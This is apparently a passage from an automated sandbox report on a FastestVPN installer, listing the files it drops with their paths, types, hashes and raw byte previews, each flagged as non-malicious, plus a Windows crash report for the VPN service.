                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..v..........j.... ........... ....................................@.....................................O........................*..........t................................................ ............... ..H............text...pu... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B................K.......H.......,S..0>..........\.................................................(....*&.l(....k*&.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(....*......(....*...

                                                                                                                    C:\Program Files\FastestVPN\is-U7JPO.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):19624
                                                                                                                    Entropy (8bit):6.761472837087098
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:pwG3NNuGs7lkviba8FLdwIYieB0FP27NBY3Yuv+4pdS:F+V7PpFLdZYixK/Y/+4S
                                                                                                                    MD5:12A69C58D97C26D0132D493111E42345
                                                                                                                    SHA1:0DCC8570C7D76B660746A0F657607864F8764AD4
                                                                                                                    SHA-256:E6682B67F0C489BEB53C93C399D46CEAEBDD7096AD7DB984BF99DCC68E476F4C
                                                                                                                    SHA-512:3335371222BB282C55F1309432CD776CD146EFA9B6D17BF23997EFA6E3A741512FD95B9382EB719F400C6A70BD13E6A445A6011716B4C7637CF1083C8D669BE6
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ...............................P....`.................................j8..O....@..............."...*...`.......7..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................8......H.......L'..`............................................................0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*..0../.........(....}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*6..(...+(....*..(....*..(....*..{..........%..#...(.....%..!...(.....(.....(....*.0..e........{......E....8............(....o ......(!...

                                                                                                                    C:\Program Files\FastestVPN\is-UK0LH.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):53416
                                                                                                                    Entropy (8bit):6.326182355914875
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:x0Gl7W1UiZTo1ooEqTh0sq/s/MnBOyvUPrYZbkchJYi/S8K/Y/+A:6qQpZTsooEah0sqU/by4UZzhJ7K8K/S
                                                                                                                    MD5:C4BC370961A9E628E64B8FF4586D4DA6
                                                                                                                    SHA1:B391F6A1A54B693F14BA7E8CD58DD8976CDDC992
                                                                                                                    SHA-256:097B7F6F9ED8B63F0E725DE28D6842F6AC93D8105E441C7498385FAAD243A8C1
                                                                                                                    SHA-512:169FD48C453BC95D33137BDAA22225B483CF9BF73CBCE9AFB5B6BF63B62300CC98A968F1D825348CDB8C786232B66D62247659FD809B6B0D7BCBF26C7B4519A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... ....................................@.................................J...O.......$................*..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{....*..{....*V.(......}......}....*...0..A........u........4.,/(.....{.....{....o....,.(.....{.....{....o....*.*.*. ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X*...0..b........r...p......%..{.......%q.........-.&.+.......o ....%..{.......%q.........-.&.+.......o ....(!...*...0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&*...0..A..........(....~.......o"...,)..o&..., .o'...-.~.....o(

                                                                                                                    C:\Program Files\FastestVPN\is-VEE4L.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1112
                                                                                                                    Entropy (8bit):5.030466366630491
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:JdArztW1oF7Nv+IcvH2/+GVTcvH2/+GVhOXrRH2/d9y:3Arzcq7h+Iag+GMg+G27Rgdw
                                                                                                                    MD5:B94AE93769D64791440B3C36CC82AC69
                                                                                                                    SHA1:E4AAAD9A0FB51051C8B25F768BC1563543F132C0
                                                                                                                    SHA-256:432BFD182828A531147812566CB3439702A243BB7A4C45CC816192F9CB91D4A5
                                                                                                                    SHA-512:AD978C59980C0194357D5070D53EA77C334493D14593C141B9DBEEF835FC688FD90C99236D687F50860FA7F4FD4125650E432A61EDF7917C77E4EE4E5E3D4E66
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Expression.Interactions" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Windows.Interactivity" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0

                                                                                                                    C:\Program Files\FastestVPN\is-VO662.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):60584
                                                                                                                    Entropy (8bit):6.4260026936119194
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:D0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxn+:DxJ8kM9CHJ6bY3zkXX8u4iNa7ogBK/o
                                                                                                                    MD5:550D6E67BB1795B941E91840508BF7F6
                                                                                                                    SHA1:46E22693BDC92F4E8DD8C4C5433D233438A271EF
                                                                                                                    SHA-256:D4B4CEB77A3D429EE21412E5172AAC6E36C553E7D990137F212E5ADD6B9A9336
                                                                                                                    SHA-512:1271BEC8A700AC925B9AC13FDB84FFCCFFA6A1589FA3F9FA1361282C47BB8985A7C8F0335EFDD422E2A708BF2DD46458AEF64B4E2A54B8488F8ED53750337A23
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                    C:\Program Files\FastestVPN\nfapi.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):159368
                                                                                                                    Entropy (8bit):6.32384599449582
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                    MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                    SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                    SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                    SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\subinacl.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):301224
                                                                                                                    Entropy (8bit):5.823114295644
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOa:v56+Aq4WBTWpSqXhpeEioU2Uh/b
                                                                                                                    MD5:4798226EE22C513302EE57D3AA94398B
                                                                                                                    SHA1:F42C6CFA4068263D955608DE47E60D099AD8B394
                                                                                                                    SHA-256:38F32C75433A2AF902D33511BC3BBBE5BBF66D87FEC7D3AD1694AECEEB7E485E
                                                                                                                    SHA-512:94BB5E38CBCDC1E40BBD3AB14A3C92C8C90F64EA1910108BB2DE80E00BEA358A13A063031B5E3417A55102DB238488F5C3E766A1AF3ACEDB8806FEC5DD81990C
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P................... ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\unins000.dat

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:InnoSetup Log 64-bit FastestVPN, version 0x418, 26353 bytes, 971342\37\user\37, C:\Program Files\FastestVPN\376\377\377\00
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):26353
                                                                                                                    Entropy (8bit):3.4511340870387843
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:zQ6ECOmeHr4Z5ZeZYZZZtZuZiZ3ZvZ5ZRZBZVYguuQfCECnC07DUitVEQTdwKpS5:aghCa/dZ7epOa8niKGfuOtalr04d8
                                                                                                                    MD5:44FE2A1DE1307BC7BADE9304C9AFBF25
                                                                                                                    SHA1:186B73269879D622D6BF07031C795219D2DA9A57
                                                                                                                    SHA-256:55F0045A576CB8C856A56358B6F6F52D5A1AE42E1AB4D8A4775DC74F3208BED5
                                                                                                                    SHA-512:53D4A4451FB2CF4AE9D3F9B5A6FC1C45F9DCAFD2B586A0F1E0267CA97D6DEAC2751BB71701A563FADDDC1F483FECAFCD5E222EE8DDD0AE78386055A7CB776F04
                                                                                                                    Malicious:false
                                                                                                                    Preview:Inno Setup Uninstall Log (b) 64-bit.............................FastestVPN......................................................................................................................FastestVPN...............................................................................................................................f....................................................................................................................GT..................s........9.7.1.3.4.2......h.u.b.e.r.t......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N....................... ........................C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N......C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.t.a.r.t. .M.e.n.u.\.P.r.o.g.r.a.m.s.\.F.a.s.t.e.s.t.V.P.N......F.a.s.t.e.s.t.V.P.N......e.n........................."...<........C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.................C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.B.o.u.n.

                                                                                                                    C:\Program Files\FastestVPN\unins000.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3070013
                                                                                                                    Entropy (8bit):6.3970181902654595
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:BdJYVM+9JtzZWnoS2VC23aun8+f5KuGP+VYNCWNtdH333tS:HJYVM+LtVt3P/KuGP+VYNCuf333s
                                                                                                                    MD5:85C9EB5EFAC3AA957BB0B5D820596E7A
                                                                                                                    SHA1:CA4FC10EA88E6D2C581D22505C3FDDDEBD6C6534
                                                                                                                    SHA-256:635DD70334FD9781CDA5E19150DC945E1039EDFF2C0CEC9BC00B68A5B6D0B8A1
                                                                                                                    SHA-512:A10F0D6F22ED949C916290186300E68883A24ED6A28963C5BD73EF38EEB2AA910699E12A6AA038B54CA99512A04AC9790912C14A0FCAD045B1B091D008189991
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....gf..................*...........*.......*...@..........................P/...........@......@...................P,.n.....,.j:....,.$....................................................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.rsrc...$.....,.......+.............@..@.............`0......./.............@..@........................................................

                                                                                                                    C:\ProgramData\FastestVPN\ServicePort.txt

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):4
                                                                                                                    Entropy (8bit):1.5
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:kS:kS
                                                                                                                    MD5:3499738F724B2AE08A1871B6A0A7D175
                                                                                                                    SHA1:A1AB9117DC426032D0E013BB62EDF31CD37B1CAF
                                                                                                                    SHA-256:715FCF6424D0AC2F19B5A65364795EBB982885F040E93A1BF4FDD594D9478251
                                                                                                                    SHA-512:3B1F29ADDCC165F7807149B13451ABE9DB7E0258F5A77F5802AEA11672B37CBC3439D4D8EB2AAB81F37B302B6631CD9573D64CF281FE4C9E44C672BF31BFF902
                                                                                                                    Malicious:false
                                                                                                                    Preview:9030

                                                                                                                    C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1310720
                                                                                                                    Entropy (8bit):0.8022159938729438
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAi:RJE+Lfki1GjHwU/+vVhWqpD
                                                                                                                    MD5:7BBB6D2E282A4D9D360B9A3420BA0495
                                                                                                                    SHA1:DA0B51EEC1A09A0767F65BEFD5D05FDDFEBC0052
                                                                                                                    SHA-256:BD5DA221D09FD26FEA35569AC8C916CDD1B09FCA2370D2EDAFEFA3EB707E45E9
                                                                                                                    SHA-512:BA90D6AEB2572963AF3367661C3DFD9BBD07761EF76143F573787EBC04959714CF8AC34B070BB93DFB9E612BB850DFF6B4526309EAD168D6E07E50EE45F48C1B
                                                                                                                    Malicious:false
                                                                                                                    Preview:..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                                                                                    C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:Extensible storage engine DataBase, version 0x620, checksum 0xe77fcd0b, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1048576
                                                                                                                    Entropy (8bit):0.9433377435668818
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
                                                                                                                    MD5:88472E2697612357839C09BDFE0A7FCB
                                                                                                                    SHA1:504725653D289EAC4F1C1B7ED6940C0F37F278B4
                                                                                                                    SHA-256:8AF011E7A8FE3A318117DE0B2642081FE3052A3AA7134543DCF4368CC9EB11A1
                                                                                                                    SHA-512:86BD78BD2E4D404DA78B0CC5A8D9DCAA7220638FDA8A47A82A73405E7F9E6AAF753D3835EAB1792854E053E8B41F85AE2C2C78818566307EBD6C716704C15AE8
                                                                                                                    Malicious:false
                                                                                                                    Preview:....... ...............X\...;...{......................0.x...... ...{s......|o.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................^.....|o.................QON......|o..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):16384
                                                                                                                    Entropy (8bit):0.08098713937702061
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:kl/EYeETsl/nqlFcl1ZUlllld1UrllGBnX/l/Tj/k7/t:s/Ez+sl/qlFclQ/l71Ux254
                                                                                                                    MD5:8266257E6D4A97819C777B16CDD098E1
                                                                                                                    SHA1:D8F0E533FE508D939C749F7C8F650F2FC6EA0C92
                                                                                                                    SHA-256:86582924FFAFFEDFD7EFEBCE721F851C55AB073C5EE7A4E0AF80D1348F62DA03
                                                                                                                    SHA-512:8DE2308EBD5D81C41226DF40D4FEB9800D47C3ABDDCF4ECE3BE29A071316F5C7093784DD93CDFAB45A3BBC93381AA7F52BB775F0989790FC933D8227FBBB3D9C
                                                                                                                    Malicious:false
                                                                                                                    Preview:..,S.....................................;...{.......|o.. ...{s.......... ...{s.. ...{s.P.... ...{s.................QON......|o.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\FastestVPN.lnk

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Oct 3 07:16:04 2024, mtime=Thu Oct 3 07:16:04 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1765
                                                                                                                    Entropy (8bit):3.233874884437946
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:8Kj10dS5pc5IcnLAsPXd/Z6d/nd/VkIbfd/VG8cm:8K50dS5pyTn8sfd/Z6d/nd/Vkcd/VBc
                                                                                                                    MD5:80129407C0689C53397EB33D3F4F3773
                                                                                                                    SHA1:0D85FE482C1334322B7B9803DAEF8AE1E072F0CE
                                                                                                                    SHA-256:3BB3B865FA15FF0AEB36FEE8B5FD6479C22D5DC9A1AFEA6BD987790F23FAE93A
                                                                                                                    SHA-512:CAFBFC90BF657ECD76D3CA0ADE9BE277E5C7655E6AF76D6606B48695FA750781DD93316F3CCA5CF7D4272C2BFE59AF23FDEF2C9D9CD668CB4CE6C87F3E95B306
                                                                                                                    Malicious:false
                                                                                                                    Preview:L..................F.@.. .....r}l.....}l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IEW.D....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY.B..FASTES~1..F......CY.BCY.B....X.......................).F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY.BCY.B....;.........................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........i.YO.....C:\Program Files\FastestVPN\FastestVPN.exe..9.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico.....................................................................................................................................

                                                                                                                    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\Uninstall FastestVPN.lnk

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Thu Oct 3 07:16:03 2024, mtime=Thu Oct 3 07:16:03 2024, atime=Thu Oct 3 07:15:34 2024, length=3070013, window=hide
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):885
                                                                                                                    Entropy (8bit):4.5509352414507465
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:8ml320YXch918ESbdpF4GASKpc7l3yOjAOHlRkbdpBo6bdpBg5yumV:8mP52dS5pc53yyAOjwd/o+d/g5yum
                                                                                                                    MD5:BA4C753E8F136884F0F70D45150B2F8A
                                                                                                                    SHA1:CA70C7CA69227573F7CEA3D4F89A2088B4AE76ED
                                                                                                                    SHA-256:1271B5D74C8861AF4F5E62B913731E5D061C55DBD0A1C43AEEFF320C62EBE780
                                                                                                                    SHA-512:7B2F31D15653FAA4C5AA2A4B743045B4397875ED098241C1C516A58E486773193D641ABFAC140D5EFC51DB9A33B33EE71E556B893908CEE203A4893AB049E94E
                                                                                                                    Malicious:false
                                                                                                                    Preview:L..................F.... .....@}l.....@}l...%..kl...=............................P.O. .:i.....+00.../C:\.....................1.....CY.B..PROGRA~1..t......O.ICY.B....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY.B..FASTES~1..F......CY.BCY.B....X.......................).F.a.s.t.e.s.t.V.P.N.....f.2.=...CY.A .unins000.exe..J......CY.BCY.B....I.........................u.n.i.n.s.0.0.0...e.x.e.......W...............-.......V...........i.YO.....C:\Program Files\FastestVPN\unins000.exe..7.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.u.n.i.n.s.0.0.0...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.`.......X.......971342...........hT..CrF.f4... .:Q..Yc...,...E...hT..CrF.f4... .:Q..Yc...,...E..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_FastestVPN.Windo_53ebd9cdf731fce6dc6bf88ca253274667038a7_2affa00b_1a326a86-4385-473d-822c-b7a7b05fd471\Report.wer

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):65536
                                                                                                                    Entropy (8bit):1.0634494541552622
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:ybF6rFfHxTwHYpm0zYg9xemouQXIDcQvc6QcEVcw3cE/7gmga+BHUHZ0ownOgHkX:cc9woNa0BU/6aGiJ6OIzuiFUZ24IO8u
                                                                                                                    MD5:A073604889556C174D9AFEC19441058D
                                                                                                                    SHA1:8961022418FC851462C29C2B0BB559F7060067A0
                                                                                                                    SHA-256:99956881AA7BED0D9749BB19C36EBE475A2AF971C1DA917F0748716807B90C10
                                                                                                                    SHA-512:90E64AFD8769A22249C935A9FC373D343DBA5A08E2ACAD91A31FFA9B95883005F3572A6675A0CFA115F621BE94EC139BB21FE8F01A0B6B6A5D6E36902543A166
                                                                                                                    Malicious:false
                                                                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.4.1.6.9.8.4.9.3.8.7.0.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.4.1.6.9.8.5.6.8.8.6.9.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.a.3.2.6.a.8.6.-.4.3.8.5.-.4.7.3.d.-.8.2.2.c.-.b.7.a.7.b.0.5.f.d.4.7.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.0.6.6.2.a.f.e.-.1.7.2.6.-.4.d.c.e.-.a.3.4.2.-.4.5.1.1.c.7.8.3.c.7.6.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.F.a.s.t.e.s.t.V.P.N...W.i.n.d.o.w.s.S.e.r.v.i.c.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.F.a.s.t.e.s.t.V.P.N...W.i.n.d.o.w.s.S.e.r.v.i.c.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.f.0.-.0.0.0.1.-.0.0.1.4.-.1.7.9.7.-.3.2.8.9.6.c.1.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.7.5.a.5.b.0.1.c.c.e.6.9.2.0.b.8.4.1.1.a.f.c.e.d.8.6.5.7.1.0.0.0.0.0.0.0.0.0.!.0.0.0.0.a.b.1.8.

                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER5F0A.tmp.dmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    File Type:Mini DuMP crash report, 15 streams, Thu Oct 3 08:16:25 2024, 0x1205a4 type
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):222125
                                                                                                                    Entropy (8bit):4.061128602501914
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:K7XLucbVUuE4uEqo6vLTgsyCWDoQ9Nib9uETQDE:K7XLLVUL436DTgsyCWDo0
                                                                                                                    MD5:A0AA87F07D5A11FB361610CC1E0945B4
                                                                                                                    SHA1:F9088FDD6264D4DD0C7C96C8F0ABC5FB855C8DF7
                                                                                                                    SHA-256:7A4E0C93B68DABB13AD55976DF7F5E2B14C6515E59E8E7FD62E1A0949B43DDEA
                                                                                                                    SHA-512:6C76B775C48C29991AA8B99E50DD0F44A3018BCFAFF2C52C6F5A835B981DB1FD72C93E82E986EF7D42BBB33CDDD84E9774CD47C8C84E6481E3CE8D906A44A0F0
                                                                                                                    Malicious:false
